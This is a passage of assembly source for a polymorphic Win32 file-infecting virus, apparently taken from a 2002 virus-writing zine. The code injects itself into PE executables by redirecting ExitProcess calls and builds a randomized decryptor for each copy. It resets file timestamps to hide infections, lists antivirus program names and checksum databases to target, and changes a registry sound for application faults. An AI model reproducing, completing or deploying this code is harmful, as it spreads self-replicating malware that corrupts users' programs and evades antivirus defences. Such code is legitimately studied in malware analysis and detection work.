        mov     eax, [edx].sec_PointerToRawData
        mov     ebx, edx
NotLastSection:
        add     edx, size SECTION
        loop    LastSectionLoop
        mov     LastSectionEntryPtr+ebp, ebx
        pop     edx
        pop     ecx

; Get Biggest Writable Data Section
        push    ecx
        push    edx
        xor     eax, eax        ; Largest section found so far
DataSectionLoop:
        test    byte ptr [edx].sec_Characteristics+3, 80h ; Writable section?
        jz      short NextDataSec
        cmp     eax, [edx].sec_VirtualSize
        jae     short NextDataSec
        mov     eax, [edx].sec_VirtualSize
        mov     ebx, edx
NextDataSec:
        add     edx, size SECTION
        loop    DataSectionLoop
        pop     edx
        pop     ecx

        mov     DataSectionEntryPtr+ebp, ebx

        cmp     eax, VIRUSTOTALSIZE
        jnb     short DataSectionSizePass

; ***************
;  If Data Size is just a little too small, then bump it up
; ***************
        mov     ebx, [edi].SectionAlignment
        dec     ebx
        add     eax, ebx
        not     ebx
        and     eax, ebx
        cmp     eax, VIRUSTOTALSIZE
        jb      InfectableNo
DataSectionSizePass:
        mov     NewVirtualSizeOfData+ebp, eax

; Find Code Section
        xor     ebx, ebx
FindCodeSection:
        test    [edx].sec_Characteristics, SEC_CODE+SEC_EXECUTABLE
        jz      short NotACodeSection
        test    byte ptr [edx].sec_Characteristics+3, 80h ; Writable CS?
        jnz     InfectableNo
        or      ebx,ebx
        jnz     InfectableNo
        mov     ebx, edx
NotACodeSection:
        add     edx, size SECTION
        loop    FindCodeSection

;* Find amount of space at the end of the of the code section.
        mov     edx, [ebx].sec_PointerToRawData
        add     edx, esi
        cmp     [ebx].sec_SizeOfRawData, MINCODESIZE
        jb      InfectableNo


; Figure out the real code size
        xor     ecx,ecx
        mov     FoundExitCall+ebp, ecx
        mov     ecx, [edi].FileAlignment
        dec     ecx
        test    [ebx].sec_VirtualSize, ecx
        jz      short ProbablyTLINK
; Assuming LINK - i.e. Virtual Size gives exact size of CS (not aligned).
        mov     eax, [ebx].sec_VirtualSize
        add     edx, eax
        push    eax
        and     eax, ecx
        inc     ecx
        sub     ecx, eax
        pop     eax
        add     eax, [ebx].sec_PointerToRawData
        cmp     ecx, MINSLACKSPACE
        jb      InfectableNo
; Now:
;  - RVA         -done (eax)
;  - RawAddy     -done (edx)
;  - SizeOfSpace -done (ecx)
        mov     EmptyCodeSecRVA+ebp, eax
        mov     EmptyCodeSecAddr+ebp, edx
        mov     EmptyCodeSecSize+ebp, ecx

; Now we search .text for either:
;  - EE 15  (call [address])
;  - FF 25  (jmp  [address])

        mov     ecx, [ebx].sec_SizeOfRawData
        sub     ecx, 5                  ; (no need to check last 5 bytes)
        push    esi
        mov     eax, [ebx].sec_PointerToRawData
        add     eax, esi
        xchg    eax, esi
        xor     edx, edx                ; Loop counter
LinkFindJump:
        cmp     word ptr [esi+edx], 15FFh
        jne     short LinkJumpNotFound

        mov     eax, dword ptr [esi+edx+2]
        sub     eax, [edi].ImageBase
        cmp     eax, ExitProcessRVA+ebp
        jne     short LinkJumpNotFound

        mov     eax, EmptyCodeSecRVA+ebp
        sub     eax, edx
        sub     eax, [ebx].sec_VirtualAddress
        sub     eax, 5
        mov     byte ptr [esi+edx], 0E9h        ; Write in jump to our code ;-)
        mov     dword ptr [esi+edx+1], eax
        inc     FoundExitCall+ebp
LinkJumpNotFound:
        inc     edx
        cmp     edx, ecx
        jb      LinkFindJump
        pop     esi
        jmp     HaveCSInfo
ProbablyTLINK:
        add     edx, [ebx].sec_SizeOfRawData
        inc     ecx
ScanSpaceBackWard:
        dec     edx
        cmp     byte ptr [edx], 0
        jne     short FoundActualCode
        loop    ScanSpaceBackWard
        jmp     InfectableNo            ; Probably Some Packer
FoundActualCode:
        add     edx, 5                  ; edx= Raw Adrress of free space
        add     ecx, 4
        sub     ecx, [edi].FileAlignment
        neg     ecx                     ; ecx= size of free space
        mov     eax, [ebx].sec_VirtualAddress
        add     eax, [ebx].sec_SizeOfRawData
        sub     eax, ecx

        cmp     ecx, MINSLACKSPACE
        jb      InfectableNo
; Now:
;  - RVA         -done (eax)
;  - RawAddy     -done (edx)
;  - SizeOfSpace -done (ecx)
        mov     EmptyCodeSecRVA+ebp, eax
        mov     EmptyCodeSecAddr+ebp, edx
        mov     EmptyCodeSecSize+ebp, ecx

; Now we search .text for either:
;  - EE 15  (call [address])
;  - FF 25  (jmp  [address])

        mov     ecx, [ebx].sec_SizeOfRawData
        sub     ecx, 5                  ; (no need to check last 5 bytes)
        push    esi
        mov     eax, [ebx].sec_PointerToRawData
        add     eax, esi
        xchg    eax, esi
        xor     edx, edx                ; Loop counter
TLinkFindJump:
        cmp     word ptr [esi+edx], 25FFh
        jne     short TLinkJumpNotFound

        mov     eax, dword ptr [esi+edx+2]
        sub     eax, [edi].ImageBase
        cmp     eax, ExitProcessRVA+ebp
        jne     short TLinkJumpNotFound
        mov     eax, EmptyCodeSecRVA+ebp
        sub     eax, edx
        sub     eax, [ebx].sec_VirtualAddress
        sub     eax, 5
        mov     byte ptr [esi+edx], 0E9h        ; Write in jump to our code ;-)
        mov     dword ptr [esi+edx+1], eax
        inc     FoundExitCall+ebp
TLinkJumpNotFound:
        inc     edx
        cmp     edx, ecx
        jb      TLinkFindJump
        pop     esi

HaveCSInfo:
        cmp     FoundExitCall+ebp, 0
        je      InfectableNo

        mov     eax, GetModuleHandleRVA+ebp     ; Link to GetModuleHandle
        add     eax, [edi].ImageBase
        mov     GetModHandleAddy+ebp, eax
        mov     eax, ExitProcessRVA+ebp         ; Setup emergency escape for
        add     eax, [edi].ImageBase            ;  the next generation.
        mov     EmergencyExitAddy+ebp, eax      ;  (hopefully never needed)

        push    esi
        push    edi
        mov     esi, edi
        call    MakeDecryptor
        pop     edi
        pop     esi

        mov     edx, DataSectionEntryPtr+ebp    ; If link and ds too small,
        mov     eax, NewVirtualSizeOfData+ebp   ;  then make it bigger
        mov     [edx].sec_VirtualSize, eax      ;  else stay the same

        mov     edx, LastSectionEntryPtr+ebp    ; Fixup Last Section Sizes
        mov     ecx, [edi].FileAlignment
        mov     eax, [edx].sec_SizeOfRawData
        mov     esi, eax                        ; esi= size of last section
        add     eax, VIRUSCODESIZE
        push    eax
        dec     ecx
        add     eax, ecx
        not     ecx
        and     eax, ecx                        ; eax= Aligned raw size of last section
        mov     [edx].sec_SizeOfRawData, eax
        pop     eax                             ; not rounded raw size + vir size
        mov     ecx, [edi].SectionAlignment
        dec     ecx
        add     eax, ecx
        not     ecx
        push    ecx
        and     eax, ecx
        mov     ecx, [edx].sec_VirtualSize      ; Get old size for Image size adjust
        mov     [edx].sec_VirtualSize, eax      ; Save New Section VSize
        sub     eax, ecx                        ; Get Size increase
        pop     ecx                             ; get Section mask (FFFFF000 usually)
        and     eax, ecx                        ; Sec Align total size increase
        add     [edi].SizeOfImage, eax          ; add it to the size

; Fix:
;  - Fix Last Section Size (done above)
;  - Fix Code Section Size (probably not needed)
;  - Fix up GetModHandleAddy (done above)
;
        mov     ecx, LastSectionEntryPtr+ebp
        mov     ebx, [ecx].sec_PointerToRawData
        add     ebx, esi
;int 3
        mov     eax, VIRUSCODESIZE-1
        mov     edi, [edi].FileAlignment
        add     eax, edi
        neg     edi
        and     edi, eax

        call    _UnmapViewOfFile+ebp            ; Handle Already on stack
        call    _CloseHandle+ebp                ; Handle Already on stack

        pop     esi                             ; Get File Handle
        push    esi                             ; File Handle back for later
        xor     eax, eax
        call    _SetFilePointer+ebp, esi, ebx, eax, FILE_BEGIN
        lea     eax, PolyedVirus+ebp
        lea     ecx, BytesWritten+ebp
;int 3
;       call    _WriteFile+ebp, esi, eax, VIRUSCODESIZE, ecx, 0
        call    _WriteFile+ebp, esi, eax, edi, ecx, 0

        inc     NumInfected+ebp
        lea     eax, FindFile.fd_ftCreationTime+ebp
        lea     ecx, FindFile.fd_ftLastAccessTime+ebp
        lea     edx, FindFile.fd_ftLastWriteTime+ebp
        call    _SetFileTime+ebp, esi, eax, ecx, edx
        jmp     short CloseAndExitInfector

UnmapAndClose:
        call    _UnmapViewOfFile+ebp            ; Handle Already on stack
        call    _CloseHandle+ebp                ; Handle Already on stack
CloseAndExitInfector:
        call    _CloseHandle+ebp                ; Again on Stack
ExitInfector:
        ret



;**********************



; Enter
;  eax = RVA
;  esi = Start Of Memory mapped PE file.
; Leave:
;  eax = Mem map Address
RVA2Addr:
        push    ebx
        push    edx
        push    ecx
        push    esi
        push    edi
        movzx   edi, word ptr [esi+3Ch]
        add     edi, esi
        movzx   edx, [edi].SizeOfOptionalHeader
        movzx   ecx, [edi].NumberOfSections
        lea     edx, [edi+edx+18h]              ; Start of Section table
        mov     ebx, [edx].sec_VirtualAddress
        mov     esi, [edx].sec_PointerToRawData
SectionLoop1:
        cmp     ebx, [edx].sec_VirtualAddress
        jae     short SkipSecLoop1
        cmp     eax, [edx].sec_VirtualAddress
        jb      short SkipSecLoop1
        mov     ebx, [edx].sec_VirtualAddress
        mov     esi, [edx].sec_PointerToRawData
SkipSecLoop1:
        add     edx, size SECTION
        loop    SectionLoop1
        sub     eax, ebx
        add     eax, esi
        pop     edi
        pop     esi
        add     eax, esi
        pop     ecx
        pop     edx
        pop     ebx
        ret


MakeDecryptor:
        lea     edi, PolyedVirus+ebp
        mov     PolySizeCount+ebp, edi  ; Counter for number of bytes used.
        mov     StackRestore+ebp, esp
if DEBUGENTRY
        mov     al, 0CCh
        stosb
endif

        call    SelectRegs2
        call    CreateInitCode
        call    MarkLoop
        call    CreateLoad
        call    CreateEncryption
        call    CreateAddInECX
        call    CreateStore
        call    CreateLoop
        call    CreateGotoVirus
FinishedAlgorithm:

        mov     esi, PolySizeCount+ebp
        sub     edi, esi
        cmp     edi, EmptyCodeSecSize+ebp
        ja      short MakeDecryptor
        mov     ecx, edi
        mov     edi, EmptyCodeSecAddr+ebp
        push    esi
        rep     movsb
        pop     edi

        lea     esi, VirusStart+ebp
        mov     ecx, VIRUSCODESIZE
EncryptVirus2:
        lodsb
        call    PolyEncryptPtr+ebp
        stosb
        loop    EncryptVirus2
        ret



MakePolyError:
        mov     esp, StackRestore+ebp
        jmp     MakeDecryptor




; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;   Atom Functions
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

CreateZero:
        call    randomslow
        test    al, 11
        je      short CreateZeroMov

        or      al, al
        js      short CreateZeroSub
CreateZeroXor:
        mov     eax, edx
        shl     eax, 11
        or      ax, 0C031h
        jmp     short CreateZeroCommon
CreateZeroSub:
        mov     eax, edx
        shl     eax, 11
        or      ax, 0C029h
CreateZeroCommon:
        or      ah, dl
        stosw
        ret
CreateZeroMov:
        push    ecx
        xor     ecx, ecx
        call    CreateMov
        pop     ecx
        ret

; --------

CreateAdd:
        mov     al, 5
        cmp     dl, 0   ; eax
        je      short EntryFromCreateSub2
        cmp     ecx, 7Fh
        jbe     short CreateAddSX
        cmp     ecx, -80h
        jb      short CreateAddNoSX
CreateAddSX:
        mov     al, 83h
        stosb
        mov     al, 0C0h
EntryFromCreateSub3:
        or      al, dl
        stosb
        mov     al, cl
        stosb
        ret
CreateAddNoSX:
        mov     al, 81h
        stosb
        mov     al, 0C0h
EntryFromCreateSub1:
        or      al, dl
EntryFromCreateSub2:
        stosb
        mov     eax, ecx
        stosd
        ret

; --------

CreateSub:
        mov     al, 2Dh
        cmp     dl, 0   ; eax
        je      short EntryFromCreateSub2
        cmp     ecx, 7Fh
        jbe     short CreateSubSX
        cmp     ecx, -80h
        jb      short CreateSubNoSX
CreateSubSX:
        mov     al, 83h
        stosb
        mov     al, 0E8h
        jmp     short EntryFromCreateSub3
CreateSubNoSX:
        mov     al, 81h
        stosb
        mov     al, 0E8h
        jmp     short EntryFromCreateSub1

; --------

CreateMov:
        mov     al, 0B8h
        jmp     short EntryFromCreateSub1

; --------

CreateInc:
        mov     al, 40h
EntryFromDec:
        or      al, dl
        stosb
        ret

; --------

CreateDec:
        mov     al, 48h
        jmp     short EntryFromDec

; --------

CreatePush:
        mov     al, 50h
        jmp     short EntryFromDec

; --------

CreateXor8:
        or      dl, dl
        je      short CreateXorAL
        mov     ax, 0F080h
        or      ah, dl
        stosw
        jmp     short CreateXor8Common
CreateXorAL:
        mov     al, 34h
        stosb
CreateXor8Common:
        dec     ebx
        dec     ebx
        mov     byte ptr [ebx], 34h
EntryFromCreateAdd8:
        call    randomfast
        stosb
        mov     byte ptr [ebx+1], al
        ret


CreateAdd8:
        or      dl, dl
        je      short CreateAdd8AL
        mov     ax, 0C080h
        or      ah, dl
        stosw
        jmp     short CreateAdd8Common
CreateAdd8AL:
        mov     al, 04h
        stosb
CreateAdd8Common:
        dec     ebx
        dec     ebx
        mov     byte ptr [ebx], 2Ch
        jmp     short EntryFromCreateAdd8


CreateRol8:
        sub     ebx, 3
        mov     ax, 0C8C0h
        mov     word ptr [ebx], ax
        and     ah, 0F7h
        or      ah, dl
        stosw
RolNoGood:
        call    randomfast
        and     al, 7
        jz      RolNoGood
        stosb
        mov     byte ptr [ebx+2], al
        ret


CreateSub8:
        or      dl, dl
        je      short CreateSub8AL
        mov     ax, 0E880h
        or      ah, dl
        stosw
        jmp     short CreateSub8Common
CreateSub8AL:
        mov     al, 2Ch
        stosb
CreateSub8Common:
        dec     ebx
        dec     ebx
        mov     byte ptr [ebx], 04h
        jmp     short EntryFromCreateAdd8


; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;   Mid-Level Functions
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

CreateMidInit:
        call    randomslow
        or      al,al
        js      short CreateInitZAdd
        call    CreateMov
        ret
CreateInitZAdd:
        test    al, 1
        je      short CreateInitSub
        call    CreateZero
        call    CreateAdd
        ret
CreateInitSub:
        call    CreateZero
        neg     ecx
        call    CreateSub
        ret

;----------

CreateMidInc:
        call    randomslow
        or      al,al
        js      short CreateMidIncAdd
        call    CreateInc                       ; Inc
        ret
CreateMidIncAdd:
        push    ecx
        xor     ecx,ecx
        inc     ecx
        test    al, 1
        jz      short CreateMidIncSub
EntryFromMidDec_Add:
        call    CreateAdd                       ; Add 1
        jmp     short CreateMidIncDone
CreateMidIncSub:                                ; Sub -1
        neg     ecx
EntryFromMidDec_Sub:
        call    CreateSub
CreateMidIncDone:
        pop     ecx
        ret

;----------

CreateMidDec:
        call    randomslow
        or      al,al
        js      short CreateMidDecSub
        call    CreateDec
        ret
CreateMidDecSub:
        push    ecx
        xor     ecx,ecx
        inc     ecx
        test    al, 1
        jnz     short EntryFromMidDec_Sub
CreateMidDecAdd:
        neg     ecx
        jmp     short EntryFromMidDec_Add



; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;   Complex Functions
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

CreateLoadMem:
        mov     al, dl
        shl     eax, 11
        or      ax, 008Ah
        or      ah, cl
        stosw
        mov     dl, cl
        call    CreateMidInc
        ret

CreateStoreMem:
        mov     al, dl
        shl     eax, 11
        or      ax, 0088h
        or      ah, cl
        stosw
        mov     dl, cl
        call    CreateMidInc
        ret


CreateSourceInit:
        mov     dl, PolySourceReg+ebp
        mov     eax, LastSectionEntryPtr+ebp
        mov     ecx, [eax].sec_VirtualAddress
        add     ecx, [eax].sec_SizeOfRawData
        add     ecx, [esi].ImageBase
        call    CreateMidInit
        ret

CreateDestInit:
        mov     dl, PolyDestReg+ebp
        mov     eax, DataSectionEntryPtr+ebp
        mov     ecx, [eax].sec_VirtualAddress
        add     ecx, [esi].ImageBase
        call    CreateMidInit
        test    byte ptr PolyFlag+ebp, 1
        jnz     short CreateDestInitDone
        call    CreatePush
CreateDestInitDone:
        ret

CreateCntrInit:
        mov     dl, PolyCntrReg+ebp
        mov     ecx, VIRUSCODESIZE
        call    CreateMidInit
        ret

MarkLoop:
        mov     LoopLocation+ebp, edi
        ret

CreateLoad:
        mov     dl, PolyWorkReg+ebp
        mov     cl, PolySourceReg+ebp
        or      dl, dl
        jne     short CreateLoadMemCall
        cmp     cl, 6
        jne     short CreateLoadMemCall
        mov     al, 0ACh
        stosb
        ret
CreateLoadMemCall:
        call    CreateLoadMem
        ret

CreateStore:
        mov     dl, PolyWorkReg+ebp
        mov     cl, PolyDestReg+ebp
        or      dl, dl
        jne     short CreateStoreMemCall
        cmp     cl, 7
        jne     short CreateStoreMemCall
        mov     al, 0AAh
        stosb
        ret
CreateStoreMemCall:
        call    CreateStoreMem
        ret

CreateLoop:
        mov     dl, PolyCntrReg+ebp
        mov     al, 0E2h
        cmp     dl, 1
        je      short MakeLoopCommon
LoopNotECX:
        call    CreateMidDec
        mov     al, 75h
MakeLoopCommon:
        stosb
        mov     eax, LoopLocation+ebp
        sub     eax, edi
        dec     eax
        stosb
        cmp     eax, -80h
        jb      MakePolyError
        ret

CreateGotoVirus:
        test    byte ptr PolyFlag+ebp, 1
        jz      short CreateGotoVirusRet
        mov     al, 0E9h
        stosb
        mov     eax, DataSectionEntryPtr+ebp
        mov     eax, [eax].sec_VirtualAddress
        mov     ecx, EmptyCodeSecRVA+ebp
        sub     eax, ecx
        mov     ecx, edi
        sub     ecx, PolySizeCount+ebp
        add     ecx, 4
        sub     eax, ecx
        stosd
        ret
CreateGotoVirusRet:
        mov     al, 0C3h
        stosb
        ret

InstructInitTable:
        dd      offset CreateSourceInit
        dd      offset CreateDestInit
        dd      offset CreateCntrInit
CreateInitCode:
        xor     ecx, ecx
CreateInitLoop:
        call    randomslow
        and     eax, 3
        jz      short CreateInitLoop
        dec     eax
        bts     ecx, eax
        jc      short CreateInitLoop
        mov     eax, [ebp+4*eax+offset InstructInitTable]
        add     eax, ebp
        push    ecx
        call    eax
        pop     ecx
        cmp     cl, 7
        jne     short CreateInitLoop
        ret

SelectRegs2:
        call    randomslow
        mov     PolyFlag+ebp, al
        mov     dl, 00110000b
GetWork2:
        call    randomfast
        or      al, al
        js      short PickRandWork2
        test    dl, 1
        jnz     short PickRandWork2
        mov     byte ptr PolyWorkReg+ebp, 0
        or      dl, 1
        jmp     short GetSource2
PickRandWork2:
        call    GetFreeRegister8
        mov     PolyWorkReg+ebp, al
GetSource2:
        call    randomfast
        or      al, al
        js      short PickRandSource2
        test    dl, 40h
        jnz     short PickRandSource2
        mov     byte ptr PolySourceReg+ebp, 6
        or      dl, 40h
        jmp     short GetCntr2
PickRandSource2:
        call    GetFreeRegister
        mov     PolySourceReg+ebp, al
GetCntr2:
        call    randomfast
        or      al, al
        js      short PickRandCntr2
        test    dl, 2
        jnz     short PickRandCntr2
        mov     byte ptr PolyCntrReg+ebp, 1
        or      dl, 2
        jmp     short GetDest2
PickRandCntr2:
        call    GetFreeRegister
        mov     PolyCntrReg+ebp, al
GetDest2:
        call    randomfast
        or      al, al
        js      short PickRandDest2
        test    dl, 80h
        jnz     short PickRandDest2
        mov     byte ptr PolyDestReg+ebp, 7
        or      dl, 80h
        jmp     short SelectRegsDone2
PickRandDest2:
        call    GetFreeRegister
        mov     PolyDestReg+ebp, al
SelectRegsDone2:
        ret

CreateAddInECX:
        test    byte ptr PolyFlag+ebp, 2
        jnz     short SelectRegsDone2
        mov     al, PolyCntrReg+ebp
        cmp     al, 4
        jae     short SelectRegsDone2
        shl     eax, 11
        or      ax, 0C000h
        or      ah, PolyWorkReg+ebp
        stosw
        mov     ecx, PolyEncryptPtr+ebp
        dec     ecx
        dec     ecx
        mov     ax, 0C828h
        mov     word ptr [ecx], ax
        mov     PolyEncryptPtr+ebp, ecx
        ret


GetFreeRegister8:
        call    randomfast
        and     al, 7
        mov     ah, 1
        xchg    ecx, eax
        test    cl, 4
        jnz     short UpperRegister8
        rol     ch, cl
GetReg8Common:
        xchg    ecx, eax
        test    dl, ah
        jnz     GetFreeRegister8
        or      dl, ah
        ret
UpperRegister8:
        and     cl, 3
        rol     ch, cl
        or      cl, 4
        jmp     GetReg8Common

GetFreeRegister:
        call    randomfast
        and     eax, 7
        bts     edx, eax
        jc      GetFreeRegister
        ret


EncryptOpTable:
        dd      offset  CreateXor8
        dd      offset  CreateAdd8
        dd      offset  CreateRol8
        dd      offset  CreateSub8

        db      45 dup (?)                      ; Hold encryption code.
OpcodeStack:
        ret

CreateEncryption:
        mov     byte ptr OpcodeFlag+ebp, 0
        lea     ebx, OpcodeStack+ebp
        call    randomslow
        xchg    eax, ecx
        and     ecx, 7
        inc     ecx
MakeEncryptOps:
        call    randomslow
        and     eax, 03h
        cmp     OpcodeFlag+ebp, al
        je      short MakeEncryptOps
        mov     OpcodeFlag+ebp, al
        mov     eax, [ebp+4*eax+offset EncryptOpTable]
        add     eax, ebp
        mov     dl, PolyWorkReg+ebp
        call    eax
        loop    MakeEncryptOps
        mov     PolyEncryptPtr+ebp, ebx
        ret


; -***********************************-
;  Psuedo Random Number Generator
; -***********************************-
randomslow:
if DEBUG
        jmp     short randomfast
endif
        push    edi
        lea     edi, CurrentTime.ft_dwHighDateTime+ebp
        call    RandomCommon
        pop     edi
        ret

randomfast:
        push    edi
        lea     edi, CurrentTime.ft_dwLowDateTime+ebp
        call    RandomCommon
        pop     edi
        push    ecx
        push    edx
        mov     ecx, eax
        jmp     short RandPentiumExt
RandReturn:
        pop     edx
        pop     ecx
        ret
RandPentiumExt:
        db      0Fh, 31h                ; rdtsc instruction (possible exceptn)
        jmp     $+2                     ;  should add SEH handler,
        xor     eax, ecx                ;  but I just don't care anymore
        jmp     short RandReturn

RandomCommon:
        push    ecx
        push    edx
        push    ebx
        mov     eax, dword ptr [edi]
        cdq
        mov     ecx, 44488
        idiv    ecx
        push    edx
        mov     ecx, 3399
        mul     ecx
        xchg    eax, ebx
        pop     eax
        mov     ecx, 48271
        mul     ecx
        sub     eax, ebx
        stosd
        jnl     short RandTooLow
        add     eax, 7FFFFFFFh
RandTooLow:
        dec     eax
        pop     ebx
        pop     edx
        pop     ecx
        ret

;
; esi = Function names
; edi = address destination
; ebx = handle of Lib
;
; returns:
;       carry flag clear if ok, set if error
FillImports:
        lodsb
        movzx   ecx, al
        jecxz   FillImpDone
        push    esi
        add     esi, ecx
        call    _GetProcAddress+ebp, ebx
        or      eax,eax
        jz      short FillImpFail
        stosd
        jmp     short FillImports
FillImpDone:
        clc
        ret
FillImpFail:
        stc
        ret
include adecode.asi

; -==============================-
;   Initialized Data
; -==============================-

if DEBUGROOTDIR
  RootDir       db      'GOATS',0
 else
  RootDir       dd      '\',0
 endif
FileMaskAny             db      '*.*',0
FileMaskExe             db      '*.EXE',0
nKernel32               db      'KERNEL32',0
nExitProcess            db      'ExitProcess',0
nGetModuleHandle        db      'GetModuleHandleA',0
AVNames                 db      3,'AVP'
                        db      4,'SCAN'
                        db      6,'FINDVI'
                        db      2,'F-',0
CRCNames                db      13,'ANTI-VIR.DAT',0
                        db      11,'CHKLIST.MS',0
                        db      8,'AVP.CRC',0
                        db      8,'IVB.NTZ',0
                        db      0

nGetProcAddr            db      'GetProcAddress',0
InfFunctions:
        db      12,'CreateFileA',0
        db      19,'CreateFileMappingA',0
        db      14,'MapViewOfFile',0
        db      16,'UnmapViewOfFile',0
        db      12,'CloseHandle',0
        db      15,'SetFilePointer',0
        db      10,'WriteFile',0
        db      24,'GetSystemTimeAsFileTime',0
        db      21,'GetCurrentDirectoryA',0
        db      21,'SetCurrentDirectoryA',0
        db      15,'FindFirstFileA',0
        db      14,'FindNextFileA',0
        db      10,'FindClose',0
        db      19,'SetFileAttributesA',0
        db      12,'SetFileTime',0
        db      12,'ExitProcess',0
        db      12,'DeleteFileA',0
        db      21,'GetWindowsDirectoryA',0
        db      13,'LoadLibraryA',0
        db      12,'FreeLibrary',0
        db      0

BakaWav:
include baka.bin

bakafile db     '\baka.wav',0
RegKey   db     '.DEFAULT\AppEvents\Schemes\Apps\.Default\AppGPFault\.Current',0

RegFunctions:
        db      12,'RegOpenKeyA',0
        db      12,'RegCloseKey',0
        db      13,'RegSetValueA',0
        db      0


VirusInitEnd:

_GetProcAddress         dd      ?
InfDest:                                ; Have to be in Same order as above
_CreateFileA            dd      ?
_CreateFileMappingA     dd      ?
_MapViewOfFile          dd      ?
_UnmapViewOfFile        dd      ?
_CloseHandle            dd      ?
_SetFilePointer         dd      ?
_WriteFile              dd      ?
_GetSystemTimeAsFileTime dd     ?
_GetCurrentDirectoryA   dd      ?
_SetCurrentDirectoryA   dd      ?
_FindFirstFileA         dd      ?
_FindNextFileA          dd      ?
_FindClose              dd      ?
_SetFileAttributesA     dd      ?
_SetFileTime            dd      ?
_ExitProcess            dd      ?
_DeleteFileA            dd      ?
_GetWindowsDirectoryA   dd      ?
_LoadLibraryA           dd      ?
_FreeLibrary            dd      ?
RegFuncDest:
_RegOpenKeyA            dd      ?
_RegCloseKey            dd      ?
_RegSetValueA           dd      ?

SFCLib                  dd      ?
_SfcIsFileProtected     dd      ?

SearchHnd               dd      ?
RegHnd                  dd      ?

NumOfNames              dd      ?
ExitProcessRVA          dd      ?
GetModuleHandleRVA      dd      ?
NewVirtualSizeOfData    dd      ?
EmptyCodeSecRVA         dd      ?
EmptyCodeSecAddr        dd      ?
EmptyCodeSecSize        dd      ?
LastSectionEntryPtr     dd      ?
DataSectionEntryPtr     dd      ?
BytesWritten            dd      ?
FoundExitCall           dd      ?

ExeGoodCount            dd      ?
ExeBadCount             dd      ?
NonExeCount             dd      ?
ExeSizesPtr             dd      ?
DirCount                dd      ?

LetterCount             db      ?
LastLetter              db      ?
NumInfected             db      ?
AVCRCFlag               db      ?

; Regs ok are: 0-3,6,7 (eax, ecx, edx, ebx, esi, edi)
PolyFlag        db      ?
PolySizeCount   dd      ?
LoopLocation    dd      ?
PolyEncryptPtr  dd      ?
StackRestore    dd      ?
PolySourceReg   db      ?
PolyDestReg     db      ?
PolyCntrReg     db      ?
PolyWorkReg     db      ?
OpcodeFlag      db      ?




DirBuf                  db              256 dup (?)
CurrentTime             FILETIME        ?
FindFile                WIN32_FIND_DATA <?>
ExeSizes                dd              MAXEXEPERDIR dup (?)
buffer                  db      (MAX_PATH+10) dup (?)
PolyedVirus             db      VIRUSCODESIZE dup (?)

VirusEnd:



        end     HOST

 COMMENT ` ---------------------------------------------------------------- )=-
 -=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
 -=( ---------------------------------------------------------------------- ) `